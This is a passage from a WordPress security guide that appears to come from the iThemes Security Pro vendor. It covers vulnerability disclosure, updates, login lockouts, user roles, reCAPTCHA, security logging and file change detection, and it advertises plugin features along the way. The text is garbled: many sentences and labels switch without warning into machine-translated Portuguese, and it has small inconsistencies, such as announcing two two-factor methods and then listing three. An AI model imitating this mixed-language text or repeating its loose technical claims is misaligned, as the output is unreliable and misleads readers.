The security researcher may provide a deadline for the software developer to respond to the report or to provide a patch. If this deadline is not met, then the researcher may publicly disclose the vulnerability to put pressure on the developer to issue a patch.

Publicly disclosing a vulnerability and seemingly introducing a Zero Day–a type of vulnerability that has no patch and is being exploited in the wild– may seem counterproductive. Mas, é a única alavanca que um pesquisador tem para pressionar o desenvolvedor a corrigir a vulnerabilidade.

If a hacker were to discover the vulnerability, they could quietly use the Exploit and cause damage to the end-user(this is you), while the software developer remains content on leaving the vulnerability unpatched.

Do Google Projeto Zero tem diretrizes semelhantes quando se trata de divulgar vulnerabilidades. They publish the full details of the vulnerability after 90 days whether or not the vulnerability has been patched.

Learning to Update: The Hard Way

At the end of 2018, hackers were actively taking advantage of an exploit in the WP GDPR Compliance plugin. The Exploit allowed unauthorized users—people not logged into a website—to modify the WP user registration settings and change the default new user role from a subscriber to an administrator. Felizmente, os desenvolvedores do plugin WP GDPR Compliance agiram rápido e lançaram um patch para a vulnerabilidade no dia seguinte à sua divulgação pública.

But, just like with Exploit Wednesday, hackers targeted the vulnerability even though a patch had been released. In the days and weeks following the WP GDPR Compliance vulnerability discloser, we received a flurry of reports that WordPress websites were hacked by attackers exploiting the vulnerability.

Ter um plugin ou tema vulnerável para o qual um patch está disponível, mas não aplicado é o principal culpado de sites WordPress hackeados. THIS IS SO FRUSTRATING!!!!! This means that most WP hacks could have been prevented.

It is upsetting to think about all of the people who spent tons of money getting their website cleaned, the revenue they lost while their sites were down, and the future revenue they lost to losing their customer’s trust. It makes it even more upsetting when you know all of that anguish could have been prevented with a simple update.

The iThemes Security Pro Version Management feature makes it to customize and automate your WordPress updates.

3. Keep Track of WordPress Vulnerabilities

Keeping your plugins and themes updated won’t protect you from every WordPress vulnerability. Some WordPress plugins and themes have been abandoned by the developers that created them.

Infelizmente, se um plugin ou tema abandonado tiver uma vulnerabilidade, ele nunca terá um patch. Hackers will target websites that use these now permanently vulnerable plugins.

Keeping track of vulnerabilities is the difference between having a secure website versus one that hackers will easily exploit.

If you have an abandoned plugin with a known vulnerability on your website, you are giving hackers the blueprints they need to take over your website. That is why you must keep track of all the latest vulnerabilities.

It is hard to keep track of every disclosed WordPress vulnerability and compare that list to the versions of plugins and themes you have installed on your website. Keeping track of vulnerabilities is the difference between having a secure website versus one that hackers will easily exploit.

Good news for you! We keep track and share every disclosed vulnerability in our WordPress Vulnerability Roundups.

4. Scan Your Website For Vulnerabilities

A faster way is to protect your website from easy hacker exploits is to use automated scans to check your websites for known vulnerabilities.

O iThemes Security Pro Site Scanner é a sua maneira de automatizar a proteção contra vulnerabilidades em todos os seus sites WordPress. O Site Scanner verifica se há vulnerabilidades conhecidas em seu site e aplicará automaticamente um patch, se disponível.

The iThemes Security Pro Site checks for 3 types of vulnerabilities.

  1. WordPress Vulnerabilities
  2. Plugin Vulnerabilities
  3. Theme Vulnerabilities

The iThemes Sync Pro Site Audit feature leverages the power of Google Lighthouse to protect your website. The Site Audit checks and flags pages that include front-end JavaScript libraries with known security vulnerabilities.

It is common practice for developers to use third-party code–like JS libraries–in their plugins and themes. Unfortunately, if the libraries aren’t properly maintained, they can create vulnerabilities that attackers can leverage to hack your website. Using Components with Known Vulnerabilities is on the OWASP Top 10 list.

The Site Audit saved my bacon! I created an Audit Schedule to have Sync Pro perform weekly automated audits and email me the audit reports. I keep tudo updated, and that is why I was shocked when I saw in one of my website’s audits that I was using JavaScript libraries with known security vulnerabilities.

The report pointed me to an outdated version of jQuery in the website’s WordPress directory littered with known vulnerabilities! Lucky for me, I saw in my Sync Pro Site Audit that I was using JavaScript libraries with known security vulnerabilities and was able to resolve the issue before my website got hacked.

Empacotando

Properly managing the software that makes your website run, including your WordPress plugins, themes and WordPress core, will go a long way in your WordPress security strategy, securing your website against online attackers.

Section 6: Securing Your WordPress Login

The WordPress login URL is the same for every WordPress site, and it doesn’t require any special permissions to access. Anyone with any experience working with WordPress knows the login URL is located on the /wp-login.php página.

The accessibility of the WordPress login page makes it the most attacked—and potentially the most vulnerable—part of any WordPress website. Luckily for us, the iThemes Security Pro plugin makes it easy to secure your WordPress login.

Let’s take a look at the tools in iThemes Security Pro that you can use to secure your WordPress login and make it nearly impenetrable!

1. Limit Login Attempts

The first step to secure your WordPress login is to limit failed login attempts. By default, there isn’t anything built into WordPress to limit the number of failed login attempts someone can make. Without a limit on the number of failed login attempts an attacker can make, they can keep trying a combination of different usernames and passwords until they find one that works.

o iThemes Security Pro Local Brute Force Protection feature keeps tracks of invalid login attempts made by a host or IP address and a username. Once an IP or username has made too many consecutive invalid login attempts, they will get locked out and will be prevented from making any more attempts for a set period of time.

To get started using the Local Brute Force Protection feature, enable it on the main page of the iThemes Security Pro settings page.

o Local Brute Force Protection settings allow you to set the thresholds for lockouts.

WordPress Security Local Brute Force Settings
  • Max Login Attempts Per Host – The number of invalid login attempts an IP is allowed before it gets locked out.
  • Max Login Attempts Per User – This is the number of invalid login attempts a username is allowed before it gets locked out.
  • Minutes to Remember Bad Login – This is how long an invalid login attempt should count against an IP or username for a lockout.
  • Automatically ban “admin” user – When enabled, anyone using the Admin username when logging in receives an automatic lockout.

There are a couple of things that you want to keep in mind when you are configuring your lockout settings. You want to give move invalid login attempts to users than you give IPs. Let’s say your website is under a brute force attack and the attacker using your username. The goal is to lock out the attacker’s IP and not your username, so you will still be able to login and get work done, even when your website is under attack.

You also don’t want to make these settings too strict by setting the number of invalid login attempts too low and the time to remember invalid attempts too long. If you lower the number of invalid login attempts for hosts/IPs to 1 and set the minutes to remember a bad login attempt to a month, you are drastically increasing the likelihood of inadvertently locking out legitimate users.

2. Limit Outside Authentication Attempts Per Request

There are other ways to log into WordPress besides using a login form. Using XML-RPC, an attacker can make hundreds of usernames and password attempts in a single HTTP request. The brute force amplification method allows attackers to make thousands of username and password attempts using XML-RPC in just a few HTTP requests.

Using iThemes Security Pro’s WordPress Tweaks settings, you can block multiple authentication attempts per XML-RPC request. Limiting the number of username and password attempts to one for every request will go a long way in securing your WordPress login.

3. Network Brute Force Protection

Limiting login attempts is all about local brute force protection. Local brute force protection looks only at attempts to access your site and bans users per the lockout rules specified in your security settings.

Network Brute Force protection takes this a step further. o rede is the iThemes Security community and is over a million websites strong. If an IP is identified as trying to break into websites in the iThemes Security community, the IP will get added to the Network Bruce Force banned list.

Once an IP is on the Network Brute Force banned list, the IP be blocked on all websites in the network. So, if an IP attacks my website and gets banned, it will be reported to iThemes Security Brute Force Network. My report can help to get the IP banned on the entire network. I love that I can help to secure other people’s WordPress login just by enabling the iThemes Security Network Protection.

To start using Network Force Protection, enable it on the main page of the security settings.

Then enter your email address, choose whether or not you want to receive email updates and then click the Salve  botão.

WordPress Security Network Brute Force Settings

4. Limit Device Access to the WP Dashboard

The last step to securing your WordPress login is to limit access to your WordPress dashboard to a set of devices. o iThemes Security Pro Trusted Devices feature identifies the devices that you and other users use to login to your WordPress site. When a user has logged in on an unrecognized device, Trusted Devices can restrict their administrator-level capabilities. This means that a hacker was able to bypass your other login security methods–not very likely– they wouldn’t have the ability to make any malicious changes to your website.

To start using Trusted Devices, enable them on the main page of the security settings, and then click the Configure Settings botão.

In the Trusted Devices settings, decide which users you want to use the feature, and enable then Restrict Capabilities e Session Hijacking Protection features.

WordPress Security Trusted Devices Settings

After enabling the new Trusted Devices setting, users will receive a notification in the WordPress admin bar about pending unrecognized devices. If your current device hasn’t been added to the trusted devices list, click the Confirm This Device link to send the authorization email.

WordPress Security Trusted Devices Login Alert

Click the Confirm Device button in the Unrecognized Login email to add your current devices to the Trusted Devices list.

Empacotando

The accessibility of the WordPress login page makes it the most attacked—and potentially vulnerable—part of any WordPress site. However, using the steps in this section will make your WordPress login nearly impenetrable.

Section 7: Securing Your WordPress Users

Whenever we talk about user security, we often hear questions like, should every WordPress user have the same security requirements, and how much security is too much security?

Don’t worry. We answer all of these questions. But first, let’s talk about the different types of WordPress users.

What are the different types of WordPress users?

There are 5 different default WordPress users.

  1. Administrador
  2. editor
  3. Autor
  4. Contribuinte
  5. Assinante

Note: WordPress multi-sites have a sixth user. o Super Administrator has all access to the site network administration features and all other features. They can create new and remove sites on the network as well as manage the network’s users, plugins, and themes.

Each user has different capabilities. The capabilities dictate what they can do once they access the dashboard. Read more about WordPress user roles and permissions.

The Potential Damage of Different Hacked WordPress Users

Before we can understand how to secure our WordPress users, we must first understand the threat level of each type of compromised user. The type and level of damage an attacker can inflict varies greatly depending on the roles and capabilities of the user they hack.

Administrator – Threat Level High

Administrador users have the capabilities to whatever they want.

  • Create, remove, and modify users.
  • Install, remove, and edit plugins and themes.
  • Create, remove, and edit all posts and pages.
  • Publish and unpublish posts and pages.
  • Add and remove media.

If a hacker can get their hands on one of your site’s Administrators, they could hold your website for ransom. As we mentioned earlier, Ransomware refers to when a hacker takes over your website and won’t release it back to you unless you pay them a hefty fee.

Editor – Threat Level High

o editor manages all of the website’s content. These users still have quite a bit of power.

  • Create, delete, and edit all posts and pages.
  • Publish and unpublish all posts and pages.
  • Upload media files.
  • Manage all links.
  • Manage comments.
  • Manage categories.

If an attacker took control of an Editor’s account, they could modify one of your pages to use in a phishing attack. Phishing is a type of attack used to steal user data, including login credentials and credit card numbers.

Phishing is one of the surest ways to get your website blacklisted by Google. Each day, 10,000 sites get on Google’s blocklist for various reasons.

Note: The iThemes Security Site Scan performs daily checks on your website’s Google blocklist status.

Author –Threat Level Medium

o Autor was designed to create and manage their own content.

  • Create, delete, and edit their own posts and pages.
  • Publish and unpublish their own posts.
  • Upload media files

If an attacker were to gain control of an Author’s account, they could create pages and posts that send your site visitors to malicious websites.

Contributor & Subscriber – Threat Level Low

o Contribuinte is the lite version of the Author user role. They have no publishing power.

  • Create and edit their own posts.
  • Delete their own unpublished posts.

o Assinante can read things that the other users publish.

While hackers with a Contributor or Subscriber role can’t make any malicious changes, they can steal any sensitive information stored in the user’s account or profile page.

6 Tips to Secure Your WordPress Users

Okay, so that is some pretty nasty stuff that hackers can do to our websites. The good news is that most attacks on your WordPress user accounts can be prevented with just a little effort on your part.

Let’s take a look at the things you can do to secure your WordPress users. The truth is that these WordPress security methods will help secure every type of WordPress user. But, as we go through each of the methods, we will let you know which users you should require to use the method.

1. Only Give People the Capabilities They Need

The easiest way you can protect your website is by only giving your users the capabilities they need and not anything more. If the only thing someone is going to do on your website is to create and edit their own blog posts, they don’t need the capability to edit other people’s posts.

2. Secure WordPress Users with Strong Passwords

In a list compiled by Splash Data, the most common password included in all data dumps was 123456. A data dump is a hacked database filled with user passwords dumped somewhere on the internet. Você consegue imaginar quantas pessoas em seu site usam uma senha fraca se 123456 for a senha mais comum em despejos de dados?

Using a weak password is like trying to lock your front door with a piece of tape. It has never taken long for hackers to brute force their way past a weak password into a website. Now that hackers are leveraging computer graphics cards in their attacks, the time it takes to crack a password has never been lower.

For example, let’s take a look at a chart created by Terahash, a high-performance password-cracking company. Their chart shows the time it takes to crack a password using a hashstack cluster of 448x RTX 2080s.

WordPress Security Time to Crack Password Chart

By default, WordPress uses MD5 to hash user passwords stored in the WP database. So, according to this chart, Terahash could crack an 8 character password … almost instantly. That is not only super impressive but is also really scary. The good news is that we can secure our WordPress login by requiring that our high-level users use strong passwords.

o iThemes Security Pro Passwords Requirement feature allows you to force specific users to use a strong password. Enable the Password Requirements feature on the main page of the security settings, and then select the users you want to require to use a strong password.

WordPress Security Strong Password Settings

3. Refused Compromised Passwords

According to the Verizon Data Breach Investigations Report, over 70% of employees reuse passwords at work. But the most important stat from the report is that 81% of hacking-related breaches leveraged either stolen or weak passwords.

Hackers use a form of a brute force attacked called a dictionary attack. Um ataque de dicionário é um método de invadir um site WordPress com senhas comumente usadas que aparecem em despejos de banco de dados. O "Coleção # 1? Data Breach that was hosted on MEGA included 1,160,253,228 unique combinations of email addresses and passwords. That is a billion with a b. Esse tipo de pontuação realmente ajudará um ataque de dicionário a restringir as senhas do WordPress mais comumente usadas.

It is a must to prevent users with Author level capabilities and above from using compromised passwords to secure your WordPress login. You may also think about not letting your lower level users use compromised passwords.

It is completely understandable and encouraged to make creating a new customer account as easy as possible. However, your customer may not know that the password they are using has been found in a data dump. You would be doing your customer a great service by alerting them to the fact that the password they are using has been compromised. If they are using that password everywhere, you could save them from some major headaches down the road.

o iThemes Security Pro Refuse Compromised Passwords feature forces users to use passwords that have not appeared in any password breaches tracked by Have I Been Pwned. Enable the Password Requirements feature on the main page of the security settings, and then select the users you want to prevent using a compromised password.

WordPress Security Refused Compromised Passwords settings

4. Secure WordPress Users with Two-Factor Authentication

Using two-factor authentications is the best thing that you can do to secure your WordPress login. A autenticação de dois fatores é um processo de verificação da identidade de uma pessoa, exigindo dois métodos separados de verificação. O Google compartilhou em seu blog que usar a autenticação de dois fatores pode parar 100% dos ataques automatizados de bots. I really like those odds.

o Autenticação de dois fatores do iThemes Security Pro recurso fornece uma tonelada de flexibilidade ao implementar 2fa em seu site. Você pode habilitar dois fatores para todos ou alguns de seus usuários e pode forçar seus usuários de alto nível a usar 2fa em cada login.

WordPress Security 2fa Options

For your convenience, iThemes Security Pro offers 2 different methods of two-factor authentication.

  1. Mobile App – The mobile app method is the most secure method of two-factor authentication provided by iThemes Security Pro. This method requires you to use a free two-factor mobile app like Authy.
  2. O email – The email method of two-factor will send time-sensitive codes to your user’s email address.
  3. Backup Codes – A set of one-time use codes that can be used to login in the event the primary two-factor method is lost.

5. Secure WordPress Users from Session Hijacking

WordPress generates a session cookie every time you log into your website. And let’s say that you have a browser extension that has been abandoned by the developer and is no longer releasing security updates. Unfortunately for you, the neglected browser extension has a vulnerability. The vulnerability allows bad actors to hijack your browser cookies, including the earlier-mentioned WordPress session cookie. This type of hack is known as Session Hijacking. So, an attacker can exploit the extension vulnerability to piggyback off your login and start making malicious changes with your WordPress user.

You should have session hijacking protection in place for your Admins and Editors.

o iThemes Security Pro Trusted Devices feature makes Session Hijacking a thing of the past. If a user’s device changes during a session, iThemes Security will automatically log the user out to prevent any unauthorized activity on the user’s account, such as changing the user’s email address or uploading malicious plugins.

6. Create A Universal Support User

Anytime you create a new user, you are adding another entry point that a hacker could exploit. But there will likely be times you may need some outside help for your website, like when you are seeking support or after hiring an independent contractor. You need a safe, secure way to add temporary admin access to your website.

For example, let’s say that you run into some issues with one of the plugins installed on your website. After contacting support, they request admin access to your website so they can take a closer look. That seems like a perfectly reasonable request and you decide to grant them access.

So how do we give someone temporary administrator access to our WordPress website?

Granting Outside Access to your Website: The Two Options

Typically, you have two options to provide external access to your website…. and neither are great.

1. Share Your User’s Credentials

Your first and worst option is to share the username and password of your WordPress admin user.

Why Sharing Your Admin Credentials is Terrible
  • Reduced Security – If you share your user’s credentials, you will have to disable two-factor authentication to allow the person using your credentials to login. Google shared on its blog that using two-factor authentication, or 2-step verification, can stop 100% of automated bot attacks. Disabling two-factor authentication, even for a short period of time, drastically reduces your website’s security.
  • Inconvenient – Sharing your credentials requires you to change your password. If you forget to change your password, there are one or more people that have admin access to your website whenever they want it.
2 Create a New User for the Support Tech

While creating a brand new admin user for the support specialist is better than sharing your admin credentials, it still isn’t great.

Why Creating a User for the Support Tech is Terrible

  • Increased Vulnerability – Creating a new administrator user adds another point of entry that could be exploited. If you don’t have a password policy in place, the support tech could choose a weak password, making your WordPress login more vulnerable to attack.
  • Inconvenient – Going through the process of setting up a new user anytime you need outside help is time-consuming. You have to create the new user and then remember to delete the user when they no longer need access to your website. It is a WordPress security best practice to remove any unused users from your website.

What is Privilege Escalation?

o iThemes Security Pro Privilege Escalation feature allows you to grant a user extra capabilities temporarily.

Privilege Escalation makes it easy and safe to create a universal user that you can give to any outside developers or support techs that need temporary access to your website.

With Privilege Escalation, you can create a new user and name it Support and give it the Subscriber user role. The next time you need to provide temporary access to your website, you can bump the Support user from a subscriber to an administrator. We will walk through how to do this later in the post, but first, let’s talk about why Privilege Escalation is a better way of granting access to your website.

Why Privilege Escalation is Better
  • Fácil – You don’t have to create a new user every time you need to grant access to your website.
  • Automatic – The privilege escalation only lasts for 24 hours. After 24 hours is up, the user automatically loses all the additional privileges. You don’t have to remember to remove users or change any passwords.
  • No Sacrifice in Security – You can still require this universal support user to use the email method of two-factor to login, which means you have the same level of security as you do with your other admin users. Because the actual user role is a subscriber, you don’t run any real risk of leaving it on your website.
How to Use Privilege Escalation in iThemes Security Pro

To get started, enable Escalonamento de privilégios on the main page of the security settings.

WordPress Security Privilege Escalation Settings

You can create a new user and name it Support and give it the Subscriber user role. The next time you need to provide temporary access to your website, navigate to your Support user’s Profile página.

WordPress Security Privilege Escalation Update Email Address

Update the email address to allow the outside support person to request a new password. Then scroll down until you see the Temporary Privilege Escalation settings. Click the Set Temporary Role toggle, and select Admin. The user will now have Admin access for the next 24 hours.

WordPress Security Privilege Escalation Set Role

If they don’t need the full 24 hours, you can revoke the privilege escalation from the user profile page. If you need more than 24 hours, you can set the exact number of days you need in the Days field.

WordPress Security Privilege Escalation User Profile Settings

Empacotando

The popularity of WordPress makes it a target for hackers all over the world. As we discussed, an attacker can cause damage by hacking even the lowest level of WordPress user.

The good news is that while there is no way to prevent attacks on your WordPress users, with a little effort on our part, we can prevent the attacks from being successful.

Section 8: Protect Your Website From Bad Bots

In this section of the WordPress security guide, you will learn, what a bot is and how to block bad bots from creating havoc on your website.

What is a Bot?

A bot is a piece of software that is programmed to perform a specific list of tasks. Developers create a set of instructions that a bot will follow automatically without the developer needing to tell them to get started. Bots will perform repetitive and mundane tasks way faster than we can.

Various bots are continually crawling your website. Some of these bots are good and provide you with a valuable service. Other bots have more nefarious motives. Let’s take a moment to talk about what a bot is and the different types of bots.

WordPress Security Good Bot and Bad Bot

The Good Bots

Monitoring bots – iThemes Sync Pro Uptime Monitoring uses a bot to monitor your website’s uptime. The bot checks your website every 5 minutes to verify that it is still online. If your website is down, the bot will send you an alert so you can get your site back online.

Audit bots – The iThemes Sync Pro Site Audit uses a Google Lighthouse bot to check the quality of your webpages. Another excellent example of an audit bot is a broken linker checker that will crawl your website looking for links that send you to a location that doesn’t exist.

Feeder Bots – An excellent example of a feeder bot is your podcast player. Your podcast player uses a bot to monitor the RSS feeds of the podcasts you subscribe to and alerts you when your favorite podcast releases a new episode.

Search Engine Bots – A Google web crawler is an example of a search engine bot. This type of bot will crawl your website looking for new or modified pages and creates an index of your website. Once Google or another search engine has an index of your website, they will be able to share your pages with the people using their search engine.

Security Bots – The iThemes Security Pro Site Scan uses a bot to compare the list of your installed plugins and themes against our vulnerability database. If you have a plugin or theme installed with a known vulnerability, the bot will automatically apply a patch if one is available.

The Bad Bots

Conteúdo Scraping Bots – These bots are programmed to download the contents of your website without your permission. The bot can duplicate the content to use on the attacker’s website to improve their SEO and steal your site traffic.

Spambots – Spambots are annoying. They will muck up your comments with promises of becoming a millionaire while working from home in the hopes of sending your visitors to malicious websites.

Brute Force Bots – Brute Force bots scour the internet looking for WordPress logins to attack. Once these bots land on a login page, they will try the simplest form of gaining access to a site: by trying to guess usernames and passwords, over and over again, until they’re successful.

How to Block Bad Bots Without Blocking Good Bots: reCAPTCHA V3

Google reCAPTCHA helps keep bad bots from engaging in abusive activities on your website such as attempting to break into your website using compromised passwords, posting spam, or even scraping your content.

Legitimate users, however, will be able to login, make purchases, view pages, or create accounts. reCAPTCHA uses advanced risk analysis techniques to tell humans and bots apart.

The Google reCAPTCHA feature in iThemes Security Pro protects your site from bad bots. These bots are trying to break into your website using compromised passwords, posting spam, or even scraping your content. reCAPTCHA uses advanced risk analysis techniques to tell humans and bots apart.

What’s great about reCAPTCHA version 3 is that it helps you detect abusive bot traffic on your website without any user interaction. Instead of showing a CAPTCHA challenge, reCAPTCHA v3 monitors the different requests made on your site and returns a score for each request. The score ranges from 0.01 to 1. The higher the score returned by reCAPTCHA, the more confident it is that a human made the request. The lower this score returned by reCAPTCHA, the more confident it is that a bot made the request.

iThemes Security Pro allows you to set a block threshold using the reCAPTCHA score. Google recommends using 0.5 as your default. Keep in mind that you could inadvertently lock out legitimate users if you set the threshold too high.

WordPress Security ReCaptcha Ban Threshold

You can enable reCAPTCHA on your WordPress user registration, reset password, login, and comments. iThemes Security Pro allows you to run the Google reCAPTCHA script on all pages to increase the accuracy of its bot vs. human score.

WordPress Security ReCaptcha Include Script Options

Empacotando

There are good bots and bad bots. reCAPTCHA blocks bad bots from your website without getting in the way of the good bots that provide value.

Section 9: WordPress Security Logs

Logging is an essential part of your WordPress security strategy. Insufficient logging and monitoring can lead to a delay in the detection of a security breach. Most breach studies show that the time to detect a breach is over 200 days! That amount of time allows an attacker to breach other systems, modify, steal, or destroy more data. It is for those reasons that Insufficient Logging landed on the OWASP top 10 of web application security risks.

WordPress security logs have several benefits in your overall security strategy.

  1. Identity and stop malicious behavior.
  2. Spot activity that can alert you of a breach.
  3. Assess how much damage was done.
  4. Aide in the repair of a hacked site.

If your site does get hacked, you will want to have the best information to aide in a quick investigation and recovery.

What are WordPress Security Logs?

WordPress Security Logs in iThemes Security Pro keeps track of important security events that occur on your website. These events are important to monitor to indicate if or when a security breach occurs.

Your website’s security logs are a vital part of any security strategy. The information found in these records can be used to lockout bad actors, highlight an unwanted change on the site, and help to identify and patch the point of entry of a successful attack.

Security Events Tracked & Logged by iThemes Security

Here’s a look at the WordPress security events tracked by the iThemes Security Pro plugin.

1. WordPress Brute Force Attacks

Brute force attacks refer to the trial and error method used to discover usernames and passwords to hack into a website. WordPress doesn’t track any user login activity, so there isn’t anything built into WordPress to protect you from a brute force attack. It is up to you to monitor your login security to protect your WordPress site.

WordPress Security Logging Invalid login attempts

Luckily, a brute force attack isn’t very sophisticated, and it is pretty easy to identify in your logs. You will need to record the username and IP that is attempting to login and whether the login was successful. If you see that a single username or IP has consecutive failed login attempts, the chances are you are under a brute force attack.

Once you know your website is under attack, you can put a stop to it! It is important to remember that there is no way to prevent an attack from occurring on your website. But, by monitoring invalid login attempts, you can prevent those attacks from being successful.

iThemes Security Pro is great at locking out bad guys. However, if a bad guy used the username Bob in a brute force attack, and Bob is an actual user on the site, Bob would, unfortunately, be locked out along with the attacker.

Even though it feels great to stop bad guys from breaking into a site, we don’t like it when security affects real users’ experience. We created Magic Links to allow legitimate users to bypass the username lockout, while the brute force attacker remains locked out.

2. Malware Scans

Not only should you run malware scans, but you should also be recording the results of every malware scan in your WordPress security logs. Some security logs will only record scan results that found malware, but that isn’t enough. It is crucial to be alerted as quickly as possible of a breach to your website. The longer it takes for you to know about a hack, the more damage it will do.

WordPress Security Logging Malware Scans

While it feels good to see the history of a proactive approach to security paying off, that is just a bonus and not the reason to record every malware scan.

If you aren’t documenting your scheduled scans, you will have no way of knowing if there are any scan failures. Not recording failed scans could result in you thinking that your site is being checked daily for malware, but, in reality, the scan is failing to complete.

Read the Site Scan feature spotlight post to learn how iThemes Security Pro can protect you from the number one cause of WordPress hacks.

3. User Activity

Keeping a record of user activity in your WordPress security logs can be your saving grace after a successful attack.

If you monitor the correct user activity, it can guide you through the timeline of a hack and show everything the hacker changed, from adding new users to adding unwanted pharma ads on your site.

iThemes Security Pro monitors 5 types of user activity:

1. Log In / Log Out
WordPress Security User Logging In and out

The first type of user activity logged is when users log in and log out of your website and from where. Monitoring time and location of the user’s logins can help you spot a user that is compromised. Did that user login at an unusual time or from a new place? If so, you may want to start your investigation with them.

2. User Creation / Registration
WordPress Security User Logging New Users

The next activity you should keep a record of is user creation, especially the creation of Administrator users. If a hacker can compromise a legitimate user, they may create there own admin user in an attempt to be covert. It is easy for you to notice something strange with your account, but it is much more difficult to identify malicious activity on another user.

Monitoring user registration is also essential. Some vulnerabilities allow hackers to change the default new user role from a Subscriber to an Administrator.

If you have User Logging set only to monitor the activity of Administrator users, only new Admin user registration will be recorded in the security logs. So, if you ever see a newly registered user in your security logs, something has gone wrong.

3. Adding and Removing Plugins
WordPress Security User Logging Plugin Changes

It is vital to make a record of who adds and removes plugins. Once your site has been hacked, it will easy for the attacker to add their custom plugin to inject malicious code into the website.

Even if a hacker doesn’t have access to your server or database, they may still be able to make changes to them from your WordPress dashboard. Using a plugin, they can add redirects to your site to use in their next spamvertizement campaign, or inject malware into your database. After their malicious code is executed, they can then delete the plugin to remove evidence of their crime. Lucky for us, we won’t miss any of it because it was all documented in our WordPress security logs.

4. Switching Themes
WordPress Security User Logging Theme Changes

Another user activity monitored by iThemes Security Pro User Logging is when someone switches the website’s theme. If you ever find that your theme has unexpectedly changed, you can look in your WordPress security logs to find out who made the change.

5. Changes to Posts & Pages

Finally, you want to monitor any changes to your post and pages. Have any links been added to send your traffic to other sites? Monitoring posts and pages can help you find any embarrassing pages or malicious links added to your website after a breach.

To find out which post was modified, click the View Details links to find the post ID.

WordPress Security User Logging Post Changes

Check out the User Logging feature spotlight post to learn more about how monitoring user activity can help you come back from a hack.

Empacotando

Insufficient logging is one of the OWASP top 10 web application security risks. Monitoring the right behavior will help you identify and stop attacks, detect a breach, and access and repair the damage done to your website after a successful attack.

Section 10: When WordPress Security Disaster Strikes

Even if you follow the WordPress security best practices, there is still a chance for your site to become compromised. A compromise means that a hacker breached your website and infected it with malware.

What is a Security Breach?

A security breach is when a cybercriminal is able to gain unauthorized access to your website or server. Security breaches can happen in lots of different ways, as hackers exploit some of the most common WordPress security issues. From running outdated versions of plugins and themes to more complicated SQL injections, a security breach can happen to even the most vigilant site owners.

Time to Detect a Security Breach: A Key Factor in Cleaning an Infected Website

Did you know that the average time it takes to discover a website breach is 200 days? Unfortunately, the longer it takes you to notice a breach, the more damage a hacker can do to your website, your customers, and you. A piece of malware can cause a staggering amount of damage in 200 days. That’s why it’s so important to reduce the time it takes to spot a security breach.

Por quê? The cleanup and downtime you will need to clean your website after 200 days worth of damage is also staggering. The time to investigate everything the malware touched and which customer’s data was stolen only increases while the breach remains undetected. Not to mention the time you will have to spend informing customers that they need to cancel their credit cards because a hacker logged all of their keystrokes while they visited your website.

The cost of getting hacked is great. You have to pay someone to investigate the breach and clean your website. The hack repair specialist will have to take your website down while they work, and people won’t be able to make new purchases while your website is down. After losing your customer’s trust, you will likely lose any future purchases they would have given you.

The cost of a hack is why it is crucial to notice a breach as soon as possible. The faster you discover the breach, the quicker you can stop any further damage being done, and the faster you can get your website and business back online.

Are Malware Scanners Enough?

Malware scanners provide a way to scan your WordPress website for known malicious files and scripts. But are malware scanners enough to spot a security breach?

In a word, no. Don’t think that you can rely solely on a malware scanner to check if your website is infected. No malware scanner can identify every piece of malware that exists. If you come across a malware scanner that claims it is 100% accurate, you should run because scans that make claims like this are often the least accurate out there.

Signature vs. Behavioral Malware Detection

The majority of malware scans and antivirus software use malware signatures to detect malware. More advanced malware scans will use a combination of signature detection and behavioral analysis.

WordPress Security Malware vs Behavior
Malware Signatures

A malware signature is a series of bytes that are used to identify known pieces of malware. Some malware scanners are powered by a database filled with the malware signatures of millions of known viruses.

Signature-based malware scanning is fast, simple, and will detect 100% of known and well-understood pieces of malware. All of that is great and will catch malware added by low-level hackers.

However, skilled hackers know that malware scanners check for signatures of known malware. These hackers have the ability to obfuscate malware signatures to remain undetected by your average scanner.

New malware is released at a rate that malware scanners can’t keep their database updated with all of the latest signatures. So a signature-based scanner won’t be able to tell the difference between a new bit of malware and a plugin’s readme.txt file.

Behavioral Analysis

Behavioral analysis checks a software’s actions to determine if it is malicious. There is a ton of different types of behaviors that can be deemed suspicious or malicious. For example, the iThemes Security Pro Site Scan leverages the Google Safe Browsing API to help keep websites safe. Google Safe Browsing will check to see if a piece of software is redirecting traffic to a known malicious site.

Again, there is no foolproof method of malware detection. But a combination of behavioral and signature checks will significantly increase your chances of being alerted to evidence of a security breach.

What Behavior Does All Malware Share?

We know how crucial it is to detect a security breach as soon as possible, and that relying solely on malware detection isn’t enough. So we wondered how iThemes Security Pro could reduce the time it takes for people to detect security breaches on their websites?

While the type of damage malware causes on your website varies greatly, what it does can be boiled down to one or a combination of the following three things.

  1. Add Files – Malware in the form of spyware could add a malicious file that will record your customer’s keystrokes as they enter their credit card information.
  2. Remove Files – Some malware will remove a legitimate file and replace it with a malicious file of the same name.
  3. Modify Files – Malware will try to hide its malicious code by hiding it in an existing file that it modifies.

Wouldn’t it be nice to be alerted to unexpected changes to your website so you can inspect them for signs of a security breach?

How to Reduce the Time it Takes to Detect a Security Breach

The key to quickly spotting a security breach is monitoring file changes on your website.

O recurso Detecção de alteração de arquivo no iThemes Security Pro fará a varredura dos arquivos do seu site e alertá-lo-á quando ocorrerem alterações no seu site.

Existem vários motivos legítimos para ver novas atividades de alteração de arquivo em seus registros, mas se as alterações feitas foram inesperadas, você deve reservar um tempo para garantir que as alterações não foram maliciosas. Por exemplo, se você vir uma alteração feita em um plug-in na mesma data e hora em que atualizou o plug-in, não há razão para investigar.

How to Enable File Change Detection in iThemes Security Pro

To start monitoring file changes, enable File Change Detection on the main page of the security settings.

WordPress Security File Change Detection Settings

Once File Change Detection is enabled, iThemes Security Pro will start scanning all of your website’s files in chunks. Scanning your files in chunks will help to reduce the resources required to monitor file changes.

The initial file change scan will create an index of your website’s files and their file hashes. A file hash is a shortened, nonhuman readable version of the content of the file.

After the initial scan completes, iThemes Security Pro will continue to scan your file in chunks. If a file hash changes on one of the subsequent scans, that means the contents of the file have changed.

You can also run a manual file change by clicking the Scan Files Now button in the File Change Detection settings

WordPress Security Scan for File Changes Button

Activating File Change Notification Emails

File changes happen all the time, and getting an email alert for every change would quickly become overwhelming. And before you know it, it becomes a boy who cried wolf situation, and you start ignoring the file change alerts altogether.

Let’s take a look at how iThemes Security Pro intelligently identifies legitimated changes to reduce notifications and how you can mute notifications for files that are expected to update frequently.

You can manage all your iThemes Security notifications from the Notification Center within the iThemes Security plugin. From your WordPress admin dashboard, visit Security > Settings and locate the Notification Center módulo.

WordPress Security File Change Notification Settings

How iThemes Security Pro Identifies Legitimate File Changes

